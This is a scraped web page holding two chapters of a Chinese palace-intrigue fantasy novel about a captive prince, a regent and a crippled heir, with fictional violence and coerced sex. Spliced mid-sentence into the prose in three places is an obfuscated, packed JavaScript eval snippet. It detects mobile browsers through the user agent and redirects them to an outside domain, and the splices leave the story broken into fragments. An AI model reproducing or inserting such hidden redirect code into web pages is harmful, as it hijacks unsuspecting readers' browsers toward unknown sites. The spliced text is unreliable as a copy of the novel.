“若是没有阿寂,这世上早就没有我萧蘅了,想当年……”萧蘅叹了口气,欲言又止,转而道,“你不知道阿寂小时候有多招人,长得粉雕玉琢,天资聪颖,三岁便能骑射,六岁诗文俱通,武学兵法一学便会,若是健健康康长到现在,定能成为安邦定国的天才将军……” “我如今虽贵为北雍皇帝,却是个谁也看不上的孤家寡人,这世上朕唯一信得过的亲人便是阿寂,唯一不能亏欠的也是阿寂,将来不管他想要什么,即便是朕身上这身龙袍,朕都可以脱下来给他……” 这点邱晚倒是很吃惊。 “陛下。”萧寂打断他的话,“慎言。” 萧蘅忙住了嘴,揉了揉眼,说道:“辞兮,阿寂说你想见朕,是有什么话要同朕说吗?” 邱晚更奇了,他什么也没对萧寂说过,他是怎么将自己的心思猜得这么准的? 邱晚转动着手中玉盏,郑重其事道:“陛下,我确实有话要说。” 他思忖片刻,继续道:“而且,接下来我要说的话,不是以邱辞兮的身份,而是以邱朝太子的身份,同北雍的皇帝说的话。“ 邱晚看了一眼萧寂,萧寂立马心领神会,道:“我去一旁守着。” 邱晚其实没有让他回避的意思,可萧寂已转动轮椅离开了,邱晚沉默了一瞬,随即道:“上回我同陛下提到过,杀凉王。” 萧蘅立马紧张起来,坐得笔直,放低了声音,道:“我不是说过,此事容我再想想吗?” “陛下,眼下正好有一个机会摆在这,”邱晚凝向他,“凉王病了。” “真病了?”萧蘅道,“我刚才瞧着他,挺好的。” “凉王的病与我有关。”邱晚说道。 “辞兮,究竟发生了什么?” “这不重要。”邱晚说道,“重要的是,凉王确实病了,而雍都也早已有了凉王病重的传闻。我们要利用这个传闻,将凉王病了的风声,吹得更大一点,一旦这个风起来了,支持凉王的会动摇,而反对他的,会伺机……跳出来,凉王把持朝政多年,惧他淫威敢怒不敢言者大有人在。” 萧蘅那双小鹿眼睁得大大的,圆溜溜看着邱晚,听得很认真。 “其二,便是凉王娶邱太子这件事。” “这个绝对不行!”萧蘅着急道,“这件事朕坚决不会同意的,只要朕拒不同意,凉王他就办不成,实在不行,朕去将玉玺藏起来!” 邱晚停了一瞬,凝向萧蘅的眼,说道:“这件事,陛下可以同意。” “什么!”萧蘅立马跳起来,“辞兮你在说什么?” 邱晚垂首笑了,仿若他口中的邱太子与他无关一般。 他说道:“凉王不死,不管凉王娶不娶邱太子,我都会被他关在这,永远也别想离开。” “但是,若能利用凉王娶亲这件事,彻底扳倒凉王,那我便能离开这里。” “可你方才在议事厅……不是还说你坚决不会……”萧蘅要哭了。 “那是我作为邱辞兮的肺腑之言,也是性情之言,而现在说,是我思虑许久之后的决定。” “不行!朕不能让凉王娶你!朕绝对不会允许的!” 邱晚没想到他的反应这么大,耐着性子解释道:“陛下,娶亲只是一个仪式……” “邱辞兮,你就这么不看重自己?”萧蘅打断他的话,泪眼汪汪道,“你让史书以后怎么写你,南邱太子邱辞兮,被北雍凉王纳为男妃,成千古第一笑柄吗?” 邱晚怔住了。 这事他不是没想过,可若是能借此除掉凉王,换南邱国祚绵延,他相信历史会给他公正的评价。 萧蘅站起来,再次斩钉截铁说道:“朕不会同意的!” 他起得太急了,按住心口剧烈咳嗽起来。 “陛下?” “听说可以来见你,朕高兴得早膳和药都没有吃,朕兴致冲冲赶来,看到的便是凉王当众羞辱你,辞兮,你明白朕的心情吗?” “现在,竟然连你也要劝朕同意凉王娶你,朕虽然无能,但是这件事,于公于私,朕都不会同意!” 小皇帝看向邱晚的眼神热烈而直白,邱晚张了张嘴,一种不太妙的感觉萦上心头。 “辞兮,朕可以抱抱你吗?”小皇帝抽着鼻子道。 “啊?” 小皇帝张开双臂,小心翼翼地,将邱晚圈进怀里。他继而轻抚邱晚的背,将脸埋在他肩头,轻声道:“朕会有办法的,朕会亲自接你离开凉王府。” 邱晚越过小皇帝的肩,便见萧寂正孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小小的除夕家宴,立马变成了“君臣同欢”的鸿门宴,群臣们食不知味,曲不知调,就连往常最爱的美人都不爱看了。 更离谱的是,卢战喝多了酒,竟然在宴席上口吐狂言,当着所有人的面便叫嚷着,“北雍有凉王一人足矣!……懦弱小儿,如何治天下!” 小皇帝当场震怒,哭闹着,好歹将卢战痛打了八十大板,直将那老军痞,打得屁股开了花。 邱晚没有被允许去宴席,一碟一碟菜肴传过来,将抱朴轩的饭桌摆得满满当当。 邱晚挑拣了几样,味同嚼蜡,没劲,他已经失去了普通人享受美食的乐趣。 邱晚百无聊赖,算着时辰,估计时候差不多了,便推开窗,朝守在屋外铁青着脸的崔自青扔了个石子。 “喂。崔自青。” 崔自青脖子一梗,愣愣看过来。 “进来,陪我一起吃饭。”邱晚道。 崔自青扶着刀进来了,他脚步僵硬,走路甚至都有点同手同脚了。 邱晚忽而觉得挺好笑,他朝身侧一指,说道:“坐。” 崔自青将信将疑,道:“你又要捉弄我不成?” 邱晚笑了,以手支颐:“今儿除夕,我不想一个人吃饭,陪陪我,可以吗?” 崔自青沉默着点点头。 邱晚夹起一块鱼,放入他碗中,说道:“崔小将军的除夕,往年是如何过的?” “军营,凉王府,或者崔府。” “崔府如今还有哪些人?”邱晚问道。 崔自青警惕道:“几个老弱病残而已。” 邱晚抬眸看他:“当年崔氏被清算,崔氏男子全部斩首,女眷没入掖庭为奴,余者流徙边陲,凉王独独留下了你这个庶子,收为义子,这么多年,你真的开心吗?” 崔自青立马戒备起来:“你又要做什么?” “听闻你有一个胞妹,年十五,在掖庭为奴,如果我能替你将她接出来,你会开心吗?” “你究竟想说什么!” 窗外传来隐隐丝竹声,随后“砰”的一声,一朵烟花炸开于王府上空。 邱晚朝崔自青伸出手,指尖在他颈间轻轻一滑。 “我饿了,你可以……让我咬你一口吗?” 12.兴风 崔自青呼吸一滞。 他怀疑自己病了,在云影湖中泡了个雪水澡之后,他便全身发烫,用冷水擦了身,反而愈加烫了,微醺一般飘飘然。 他飘了半日,这会子坐在邱晚身边,闻着他身上的香,早已迷迷瞪瞪,被邱晚这么一撩,登时全身皮毛都要炸了。 “小、小晚……你什么意思?” “字面上的意思。”邱晚又靠近了一些,研究物品一样盯着他的颈侧,琢磨这个脖颈值不值得咬。 可落在崔自青眼里,便是似花非花娇樱唇,似雾非雾多情眼,似醉非醉缱绻呼吸,崔自青的目光滑过邱晚脸上、唇上、衣领间,不知该落在何处,他根本听不得“咬”这个字,他怕自己一个冲动便会扑上去,真的咬上一口。 其实早在很久以前,崔自青就对南邱三皇子邱辞兮有所耳闻。 东乾第一风流才子为他写了篇千字长赋,洋洋洒洒极尽思慕之情,只为了求见一面。 南邱第一画师称邱辞兮“貌若云霞,风月妙人”,非鬼才不可绘其风韵。 而坊间流传最多的,便是南邱三皇子游历三国、四处留情的风流趣事,崔自青甚至都私藏了一本《罘罳小记》,正是邱辞兮跟随师父游历的风物、见闻、逸事。 直到在建康城楼上见到真正的邱辞兮,崔自青才有了真切的认知,原来这人是一只骄傲美丽的鹰。 偏偏是他崔自青,射落了这只鹰,拔了他的羽,折了他的翅,将他拉入了这诡谲深渊。 崔自青的心又惜又疼,又带着一种莫名的兴奋感。 若是……若是这只受伤的鹰愿意落入他怀中,他崔自青会愿意为他、为他…… “你在想什么?”邱晚抬眸,逼近道。 目光一触,都快将崔自青的心颤碎了。 崔自青二十二年的老铁树眼看要崩不住了,他紧张地瞄了一眼敞开的窗,喉间微哑道:“小晚,你知道你在说什么吗?” “崔自青你怎么这么啰嗦。” “小晚,我……”崔自青登时弹起,他一个箭步冲到窗前,“砰”的一下将窗给关严实了,他心如擂鼓,转身看向邱晚。 “你关窗作甚?”邱晚问道。 崔自青双手背在身后,浑身紧绷着,肌肉发颤,他咬着牙,几乎就要破音了:“邱辞兮,你不该招惹我!” 这紧张又克制的模样,倒是有几分可怜,与战场上用尖枪挑起邱晚下巴的崔小将军全然不同,邱晚几乎就要动了恻隐之心。 可对敌人仁慈就是对自己残忍,邱晚隐隐听到了屋外由远及近的脚步声,还有此起彼伏的请安声。 机不可失。 “我不招惹你,”邱晚挨近,莞尔一笑,“我就咬一口。” “小、小晚……”崔自青颈间毛发全都立起来,“我、我……” 尖齿倏地刺入皮肤,邱晚享受地哼了一声。 妈的,崔自青的血太鲜美了,是纯净的、热烈的、激情澎湃的青年武将的血。 堪称极品。 邱晚被这美味扑了一脸,猎食的本能涌上来,他捧住崔自青的脖子,咬得更深了。 崔自青双瞳猛然一缩,人已魂飞魄散,他从未有过这种感觉,一种焚心.欲.火.嗞嗞冒着火星子,从被咬的地方沿着血脉冲入心脏,冲向四肢百骸,冲向他腹下最本能的地方。 全身的感官仿若蒲公英丛倏然被吹开,炸了个满天满地,崔自青骑着烈马奔驰在漫天蒲公英中,而邱晚伏在他肩上,在吻他。 邱晚在吻他,崔自青受不了了,他抽出双手一把抱住邱晚,想要索求更多,而就在这时,“哐当”一声,抱朴轩的门被人从外向内一脚踹开! 凉王目呲欲裂站在逆光中。 崔自青绝望地看着凉王,脚下一滑。 进食被打断,邱晚不满地松开他,崔自青当即像条没骨的泥鳅,背靠着窗,直接滑到了地上。 邱晚扭了扭脖子,慢慢转过身,看向凉王,他唇间沾着血,玉面红瞳,娇艳独绝,像极了祸害人间的妖邪。 “妖孽!”凉王从喉底发出一声暴吼,他魔怔了一般,一把抓过邱晚,将他粗暴地扔给眼进来的随从。 他随即抽出腰间那条镶满金片与玉石的蹀躞带,狠狠抽向崔自青。 “兔崽子!王八蛋!”凉王一边抽一边怒骂,“本王的人你也敢碰!” 凉王下手太狠了,抽了不过十余下,那条扎实的皮带便已被抽得分崩离析,凉王又操起那罐子岁寒三友,狠狠砸向他,陶片飞溅,崔自青被砸得头破血流,凉王随即从随从腰间抽出一把长刀,抵在崔自青心口。 “王八蛋,没有本王,你早就身首异处,忘恩负义的东西!” “义、义父……”崔自青仍在余韵中,他口中难言,全身仍在颤抖,他双手死死握住那把抵向他心口的尖刀,却并不反抗,只是紧紧握住,任掌心的血顺着衣袖往下滴。 邱晚有点意外,他没想到崔自青会是这么个反应。 这些时日,邱晚算是发现了,越是重欲之人、越是在意邱晚的人,对他的毒液反应便会越大、越易成瘾,反倒是心思纯净或与他无干系之人,倒能相对平和的承受他的毒液。 可这个天天对他喊打喊杀的崔自青,反应如此之大,又是为哪般? “别、别怪小晚……”崔自青颤声说着话,“是、是我的错……” 凉王听得这话,更加怒火攻心:“小晚是你叫的吗!来人,把他给捆了!” 凉王在抱朴轩怒抽崔小将军,这事儿闹得有点大了。 凉王府这一府邸的文官武将,本就心怀鬼胎,今日先后看着凉王反常,小皇帝到访,又看到卢战被打,军心早就松动了,眼下再听见这离奇的动静,那还不闻着味儿便涌过来了。 凉王暴怒之下打了人,本就是心瘾之下冲动所为,等他反应过来想要捂住风声时,已经来不及了。 浩浩荡荡百来号人已经围住了抱朴轩。 小皇帝萧蘅扶着小太监拨开人群,第一个冲上前来。 “皇叔,这……这又是闹哪般?”萧蘅在混乱中搜寻一圈,直到找到邱晚的身影,他才松了一口气,回头问道,“怎么还将人给打了?” “禀陛下,是崔小将军方才……”凉王身后的一个总角小厮低声说道,“轻薄了邱公子。” “轻薄?”小皇帝远远瞄了邱晚一眼,随即走向崔自青,抬脚便踹了他一脚。 崔自青铁山一座,纹丝不动,小皇帝却踹得自己晃了两晃,他愈发怒火中烧,抬脚还要再踹,小太监忙扶住他:“陛下,息怒,莫伤了龙体。” 说话间,随侍之人已搬来一把椅子,小太监赶紧扶着这病弱小皇帝安稳坐下。 小皇帝抖抖衣袖,气呼呼道:“崔自青,当年崔氏谋反,满门遭诛,皇叔怜悯你母亲乃元氏后裔,才留你孤儿寡母性命,你如今倒是出息了?啊?” “你也想学你那个愚蠢的父亲,以下犯上,然后忤逆谋反吗!” 以下犯上,忤逆谋反,八个字太过直白刺眼。 在场诸人心中均是震了一震。 邱晚倒是听得留了心,元氏? 又是元氏。 元念姓元,崔自青的母亲姓元,而萧寂的母妃更是当年的东乾长公主元姬,他们之间究竟有何关系? 邱晚更好奇了。 “臣……对陛下、义父绝无二心。” 崔自青双手伏地、以头磕地拜道。 “是臣生病了,烧糊涂了,才做错了事,臣罪该万死,请陛下、义父责罚。” “呵,又病了一个?”小皇帝嗤笑道,他向凉王摊摊手,“皇叔准备如何惩戒此人?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你!”小皇帝听得急了,跳起来。 他对当年旧事知之甚少,“元念”之名就是个忌讳,人人避之不及,但他也是隐隐听过一些传言的。 “此人岂可与邱朝太子同日而语!若是……”小皇帝瞟了眼凉王,鼓起勇气说道,“若是……邱太子暂时不宜住在凉王府,那便由朕接入宫中,移居专供礼宾暂居的含元殿。” 独孤奉显然未将小皇帝放在眼里,摇着头道:“陛下,邱太子是战俘,含元殿是贵宾居所,不可,不可,还是移交刑部大牢为佳。” “你!你你你!”小皇帝气得直转,他一把夺过小太监手中的拂尘,几乎就想扔过去砸烂那张嘴脸。 “陛下,您该回宫了。”独孤奉满脸堆笑,“今儿除夕,陛下该陪着太后守岁。” 正当不可开交时,人群外传来一个声音。 “诸位叔伯。” 在场诸人听到这个声音,均是头皮一紧!这、这个人怎么跑出来了! 紧接着,便是轮椅碾过碎石路面的声音。 碎石迸溅的声音。 以及,那人拨动手中佛珠的声音。 那依着水边高柳站着的人,为了让出路来,竟哆哆嗦嗦腿一软,“扑通”掉进了水里。 萧寂眼皮都未抬一下。 他披着墨色大氅,人畜无害坐在轮椅里,由贴身侍卫一刀推着,劈开这混乱人群,直接来到了人群中央。 他环顾一圈,满场之人皆已绷紧了皮,随时准备一哄而散,落荒而逃。 萧寂径直停在了独孤奉的面前。 “贤侄。”独孤奉也不免梗了一下。 “独孤伯伯莫紧张。”萧寂微笑道,“我不吃人。” 13.疯子 远远的,隔湖看热闹的,是一群凉王府专为宴席助兴的伶人。 有那不知情的小乐童,拉着身边白发老琴师的衣袖问:“师父,来的人是谁?” 老琴师答道:“此人是凉王府的世子,萧寂,他鲜少出面,所以你不认得他。” 小乐童疑惑道:“瞧着年纪不大,为何那些人那么怕他?” 老琴师问他:“孩子,这世上之人,最惧怕的是什么?” 小乐童想了想:“最怕……死。” “是的,人人都怕死。”老琴师道,“他们之所以会这么怕世子,就是因为,他们都怕死。” “为什么?” “世子是个毒人。”老琴师眯着眼仰头看天,说道,“这事传得久了,或许有夸大的成份。但据我所知,世子萧寂在东乾做质子的那几年,被他那个疯子舅舅,当作炼蛊童子了。” “炼蛊童子!” “东乾皇室出疯子,世子的舅舅元宁堪称最疯的那一个,据说他在皇宫里养了九十九个童子为他炼蛊,最终活下来的,只有世子一个。” “当年好好的小世子送过去,回来人就坏了,性情大变,腿瘸了,还一身伤病,照顾他的人一个接一个死去,与他接触的人都离奇病死,世人皆传,世子是个毒人,身上带着巨毒,与他接触之人都会中毒而亡,死相极惨。” 小乐师听得目瞪口呆。 “还有一个传言,是关于元氏这一脉。传言称,当年八王之乱,元氏杀戮太重,人不见德,惟戮是闻,激怒了神明,将这疯病种进了血脉里。元氏嫡系的后人,到了十八岁都会发病,变成疯子。世子的母亲凉王妃疯了,当年名满雍都的元其言元公子也疯了,如今小世子也长到十七了,还有一年,他也会疯的。” 小乐师远远看着萧寂那清俊的侧脸,不禁打了个寒战:“可……可是他,看着很好啊。” “人不可貌相。可怜啊,生在这样的人家。”老琴师拍拍小乐童的肩,“走吧,不看了,远离是非之地,咱们平头老百姓,命最重要。” “哦哦。”小乐童惶恐地跟上老琴师,可还是忍不住回头看几眼,那样体面的一个世子爷,真的会变成疯子吗? 还没走几步,小乐童便被身后一只大掌给一把拎了起来。 小乐童当即吓得飙眼泪:“师、师父……” “燕大管家,这个怎么样?”五大三粗的男子拎着小乐童问燕绥。 燕绥看了看小乐童粉扑扑的脸,点点头:“血色不错,就他吧。” “老实点,叫你动你就动,听到没。”男子威胁道。 小乐童不敢动,被男子提溜着肩,脚不点地跟着二人往抱朴轩的方向走去。 穿过外围那一圈又一圈衣着华丽的达官贵人,依稀看清了世子、凉王、独孤大人、皇帝陛下,小乐童第一次离这些大人物如此近,那份惊恐中又生出了一些兴奋。 他抹掉了脸颊上的泪,忽而又注意到了另一个被随从抓着的人。 那人一身布衣,通身无一点装饰,却难掩天人之姿,小乐童不免看呆了,这世间竟然有这样的人物? 正怔愣间,只听那世子说道:“独孤伯伯方才提到元念元其言?” 独孤奉不自然地咳了一声:“原是我不该提,这人虽与我无甚干系,却与凉王府多少沾亲带故,如此场合,是我失言了。” “与独孤伯伯无甚干系?”萧寂笑了,“独孤伯伯是不是年纪大了,记性不大好?” 独孤奉眉头一竖:“你什么意思!” 萧寂命令道:“一刀,将元公子那本亲笔日札呈上来。” “是,主子。”一刀躬身从腰间荷囊里掏出一个封存完好的锦盒,一刀小心翼翼将锦盒打开,里头当真是一本泛黄的日札。 元公子的亲笔日札? 怎么会有这种东西! 在场诸人一个个神色古怪起来,眼睛都直勾勾盯着那个锦盒。 凉王更是瞬间红了眼,他推开随从,脚步酿跄着走过来,问道:“你怎么会有这种东西?” 萧寂神色自若道:“众所周知,元公子素有写笔记的习惯,记载其所学、所思、所历之事,十六岁时便出过一本《其言笔记》,在雍都引起过一阵风潮。可自元公子家中生变之后,就再没有流出过一篇。” 萧寂故意顿了一顿,瞧着诸人紧张的神色,这才继续道:“不是他不再写笔记了,而是他将其父获罪入狱、元公子四处求告无门、百般受辱、其父被斩、到最后元公子设宴沉湖群杀三十三人那一年经历的所有事情,都记录在了这本日札中。” 此话一出,一片哗然。 独孤奉脸色都变了。 “言念君子,温其如玉,元公子原本是何其温润的一个人,为何最后会变成世人口中的妖孽、疯子,个中缘由,个中苦难,一笔一笔,都在这本日札中记得清清楚楚。”萧寂移动轮椅,微笑着唤道,“独孤伯伯?” 独孤奉仿若被厉鬼唤魂了一般,全身一抖,当即脚步都不稳了。 他连退了几步,身上名贵的佩玉叮当撞响,他吼道:“你唤我作甚!跟我有什么干系!你从哪里弄了个破本子,便说是那妖孽的笔记,信口雌黄,到这随意指摘无干之人!” 萧寂垂眸笑了,他拨弄着手中佛珠,一字一字说道:“天熙十一年,七月初七乞巧节,那日雷雨交加,元公子可到过独孤伯伯府上?” “你怎么知道?”惊恐之下,独孤奉又当即反驳道,“根本没有这回事,你胡说八道!” “元公子带着家中最值钱的字画来到贵府,请求独孤伯伯为他父亲说说好话,救他父亲一命,而独孤伯伯却以叫元公子为你写一篇赋为由,将他叫去了书房。” 萧寂的黑眸平静如深潭:“有这回事吗?” “信口雌黄!胡说八道!”独孤奉当即扑向一刀,要抢他手中的日札。 “什么日札,我不信!给我看看!” 一刀身手何其了得,轻轻一避,便叫独孤奉扑了个空。这独孤奉乃酒肉之徒,从未习过武,今日宴席上又吃了酒,这一扑,那壮硕的身体直接栽倒在地,扑了个狗啃屎。 抢夺未成,倒是将他心虚的模样给扑了个淋漓尽致。 “独孤伯伯急了?”萧寂说道,“要不要一刀打开日札,将那一日发生的事情,都念出来给陛下、凉王以及诸位叔伯听听?” 此话一出,场上许多人都变了脸,纷纷出声道:“独孤大人,你倒说说,有没有这回事?” “斯人已逝,当众读其日札无异于开棺鞭刑,不可不可。” “世子不如将这本日札交于刑部,待刑部慢慢审查,以辨真假……” 而独孤奉摔得满嘴是血,已是颜面尽失,恼羞成怒,他暴吼道:“给我看看,我要验证,我不信有这个东西!” “念!”小皇帝拍着椅子站起来,“给朕念!” “陛下,此事牵连甚广,不能念啊!” “陛下,元念之祸早已尘埃落定,翻案重查无异于打先帝的脸啊,陛下三思啊陛下!” 一片混乱中,凉王一声断喝:“通通闭嘴!” 场上立即鸦雀无声。 萧寂转动轮椅,以询问的眼神看向凉王。 “父亲。”萧寂鲜少这么唤凉王。 “据我所查,天熙十一年六月,吐谷浑作乱,父亲被派去平乱,七月,父亲正在大漠深处与其周旋、血战。” “而那个时候,元公子的父亲倏然入狱,他孤身一人,一个一个拜访曾与他父亲有过交情的人,乞求他们能帮他父亲一把,结果……元公子访遍雍都,却连一个愿意伸出援手的人都没有,所有人,不是避而不见,便是落井下石,更有甚者,趁机欺辱了他,那时候的他,该多么绝望……” “够了!”凉王颤声道。 “欺辱之人,一而再,再而三,以各种微乎其微的承诺哄骗于他,而这场噩梦的始作俑者,那第一个欺辱元公子的人,便是……独孤奉!”萧寂伸出苍白颀长的手指,指向那个面如纸色的人。 “胡说八道!血口喷人!”独孤奉如跳梁小丑一般,口不择言骂道,“元其言那种不干不净的烂货,谁会稀罕他!那人本就是个疯的,谁愿意为他爹说一句好话,他都愿意掰开大腿送上去挨操,你们姓元的都是疯子,不,姓元的人生的都是疯子,谁会信一个疯子所说的话,哈哈哈…… 独孤奉大笑起来:“我是独孤氏家主,当今太后的亲哥哥,谁会因为一个疯子的话而质疑我,谁敢!我看谁敢!哈哈哈……” 忽而,那笑声戛然而止! 一股柱状血液喷射出来。 独孤奉那颗兴奋又扭曲的头颅,骨碌碌滚在了地上,在地上拖出长长一道血痕。 那无头的身体,也“咚”的一声,倒在了地上。 人群当即爆发出恐怖的惊叫。 杀、杀了? 就这么杀了? 北雍第一门阀氏族的家主,就这么杀了! 小皇帝也是吓懵了,他脸色发白跌回椅子上,差点蹶过去。 随侍小太监连忙用衣袖为他扇风,掐他人中,急吼吼唤人送热茶来。 凉王将那染血的长刀扔在独孤奉的尸首旁,凛然扫过在场的每一个人。 所有人都如被尖刀抵住了喉管。 “以后谁还敢妄议元其言,这就是下场!”凉王僵硬地看向萧寂,警告道,“收好你手中那本东西,最好别叫本王看见。” 萧寂沉默地与他对视。 凉王没有要萧寂交出日札,就是要让众人知道,日札还在萧寂手中,而这本日札,就是他们的索命单。 凉王随时可以夺走那本日札,也随时可以像杀独孤奉一样杀了他们,这把刀会不会落下、何时落下,那就得看情况了。 恐惧的浓云顿时笼罩着所有人。 凉王不再多言,他不需要多言,他如今是北雍绝对的天,二十三年前,他还是个势单力薄的新封小王爷,如今,早已不可同日而语。 他有绝对的能力,庇护他想庇护的人,即便那只是一个亡魂。 凉王走到小皇帝面前:“这里就交给陛下了,请陛下好好安抚独孤一家。” “太后那边,也请陛下代为赔罪,本王晚些会入宫亲自请罪。” 小皇帝被凉王那可怕的眼神逼得全身发抖,几乎就要真的蹶过去。 人就这样杀了,这、这要咋安抚? 这能怎么安抚? 这必然要掀起一场巨变啊! 凉王不再看他,而是径直走向邱晚,他脚下生了风一般,越走越快,铁钳般的手一把箍住邱晚:“本王有没有说过,雍都很危险,现在你信了吗?” “别再忤逆本王。”他将邱晚一把揽入怀中,可邱晚很明显地感觉到,凉王的身体沉沉往他肩上一落,他已然体力不支,不过是在强撑。 邱晚仓惶往萧寂的方向看了一眼。 萧寂拥着大氅,孤零零坐在轮椅里,地上的血,如暗红绸缎般淌过他脚边,淌过他的轮椅,拉出一个好长好长的血色阴影。 萧寂的眼,像一把锋利的刀,穿过人群,射向凉王,这把刀藏锋多年,一旦开刃,便再无回鞘之日。 凉王不再关心他事,他扶着邱晚进了抱朴轩的卧房,往那床榻上一栽,便昏睡了过去。 他一直紧紧握着邱晚的手,睡着了也不曾放松,邱晚稍稍一动,他便睁开了眼:“你是不是很想杀本王?” 邱晚并不撒谎:“是。” 凉王一把将邱晚拖上榻,压在身下:“若是死,本王愿意死在你身上。” “元公子之事,请王爷节哀。”这句话是真心的。 “小晚,你是阿念转世来寻本王的,是不是?” “很抱歉,我不是。”邱晚诚实答道。 凉王的泪当即便淌了下来,邱晚没想到,强悍如斯的凉王也会落泪,凉王虽该死,可在元念一事上,他是动了真心的。 真心没有善恶,不分黑白。 “为什么不肯骗骗本王?哄哄我也好。”凉王将头埋入邱晚颈间,轻轻磨蹭着,像乞爱的犬。 邱晚将手放在凉王后背:“王爷累了。” 这话就像一句咒语,凉王抱着邱晚沉沉睡了过去。 他在睡梦中又梦见了那片麦田,疾风卷过麦浪,沙沙作响,凉王抱着元念滚在折断的麦田里,将他亲得几乎窒息。 “萧起……好疼……”元念被顶得眼神涣散,他满脸是泪,挣扎着,“放开我……好疼……萧起别这样……” “阿念。阿念。阿念。” 凉王抱着他,一遍一遍唤他名字,身体与他交接的地方让凉王几欲疯狂,他像一只初尝荤腥的小兽,永远不知疲倦。 “我想这么做很久了,阿念,我心悦你,我要娶你为妻,我要你永远在我身边,阿念,听到没,我要娶你,阿念别哭。” 元念哭得直颤:“我、我父亲知道了……会、会打死我的。” 凉王掰过他的脸,吻他脸上的泪:“等我去打几个军功回来,我便向父皇说,让父皇为我们赐婚,若父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399144|163457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇不肯,我便直接向你父亲提亲,我是北雍凉王,他不敢拒绝……” “萧起,我好怕……”元念泪流满面,“我怕这世道容不了我……” “阿念别怕。有我在。”凉王一遍遍吻着他,安抚着他,“我会一直守护你。” 凉王没料到的是,元念回去便发了高烧,元父差人给他瞧病,当晚便发现了问题,在元父一番严厉逼问下,元念如实说了,元父当场震怒,将家里砸了个稀巴烂,罚他在院中跪了一宿。 元念差人向凉王报信,哪知报信的人去凉王府等了半日,却只等到凉王已领兵出征的消息。 元公子被人当女人睡了的消息不知如何便散了出去,元念自小便遭人觊觎,这一石掀起千层浪,待到数日后元念回到国子监,已传得人尽皆知。 监生们对他指指点点,几个垂涎他已久的纨绔子弟更是明目张胆地骚扰他,吓得元念不敢再去上学。 而就在这时,元父获罪入狱了。 之后的事便如噩梦一般,一桩连着一桩,永无止境。 失去庇护的元念,奔走于雍都,求告无门,他像一只受惊落单的兔子,任何豺狼猛兽都可以扑上去咬一口。 打完吐谷浑打党项,等到野人一样的凉王回到雍都时,元念已经成了深渊里的鬼。 他哭着将凉王挡在门外:“萧起,是你把我推入深渊,我死也不会要你了。” 凉王没能再见元念一面。 第二日,便发生了那场让人骇人听闻的“元念设宴沉湖群杀三十三人事件”。 凉王连元念的尸首都未能找到,那艘烧成灰烬沉入湖中央的船,数十具尸首混在一起,已经分不清谁是谁。 凉王在梦中流下泪来,他抓着邱晚的手,像个忏悔的少年人一样说着梦话。 “阿念,是我将你推入深渊。” “我再也不会强迫你了。” “阿念,等我回来,我要娶你做我的妻……” 窗外又传来了隐隐爆竹声,暮色已然降临。 外面的喧嚣已然平静,那个洒满鲜血的地方已经被冲洗干净。 可是这世上有些东西,是怎么也冲不掉的。 邱晚在暮色中睁着眼,忽听那铜铃又叮铃铃的响起来。 邱晚望着那晃得欢快的铃铛,望了好一会,而后抬手抓住了它。 铜铃在邱晚手中立马变得乖巧,温顺起来。 “咚咚咚。”书斋的密道处传来三声轻叩声。 过了一小会,又是三声。 “咚咚咚。” 邱晚费力抽开凉王的手,轻手轻手来到书斋,打开那条密道门。 门缓缓打开,萧寂的脸出现在微弱的烛光中,异常苍白。 “怎么是你,一刀呢?”邱晚吃惊道。 “我以为你不理我了。”萧寂白着脸说道。 “怎么会!”邱晚摸了摸他的脸,“你脸怎么这么白?哪里不舒服?” “我怕黑,很怕很怕黑。”萧寂嗡声嗡气道,“我跟你说过的,你却让我等这么久。” “我不知道是你。”邱晚放低声音说道,“对不起。” “阿晚,我来只是想跟你说一句话。”萧寂仰头望向邱晚。 “什么话?” “永远别将自己当作复仇的筹码,那会让你走向深渊。”萧寂望着邱晚的眼,深深说道。 密道中的烛光晃了一晃,邱晚想到了元念,他的心仿若被唤醒了一般,他轻声道:“我知道的。” 萧寂朝他伸出一根小拇指:“拉个勾,拉勾就说明你会记住这一点。” 邱晚无奈于他时不时冒出来的小儿行径,倒也愿意满足他:“行,拉勾拉勾,一百年不许变。” “变了是小狗。”萧寂忽而朝着邱晚靠近,一把抱住了他的双腿。 邱晚怔了一下,而后哭笑不得,萧寂将脸埋在邱晚的衣袍间,喃喃说道:“他们都怕我,不敢靠近我,你为什么不怕我?” “皇帝萧蘅不是也不怕你?”邱晚说道。 “他是他,我想听你的。”萧寂道。 “你是我到了北雍之后,遇到的唯一一个对我没有坏心思的人,我为什么要怕你?”邱晚说道。 萧寂抬起头,似乎对这个句话很意外,他喃喃重复道:“嗯,我对你没有坏心思。”一边说着,一边将紧紧嵌入邱晚衣袍褶皱间的手指,松开了一些。 邱晚的心思还在今日的事情上,问他:“元念那本日札你怎么得到的?” 萧寂脱口而出:“假的,根本没有这个东西。人们总是愿意相信他们害怕的东西是真实存在的。” 邱晚吃惊不已,这个十七岁的少年,竟然用一本假的日札逼得凉王杀了独孤奉。 邱晚刚刚还觉得他是个少年气的小孩,这会已经完全不敢将他当小孩看待:“可是你说的那些事,关于元念和独孤奉,你是怎么知道的?” “我有我的方式。此日札一出,那些心怀鬼胎的人便会露出马脚,他们与凉王之间的联盟便会出现裂缝,这不就是阿晚你想要的吗?”萧寂又露出了那种少年无辜的眼神,说道,“我今日表现如何?够不够同你合作?” 够,太够了,甚至完全超出邱晚的预料。 邱晚郑重地点了点头。 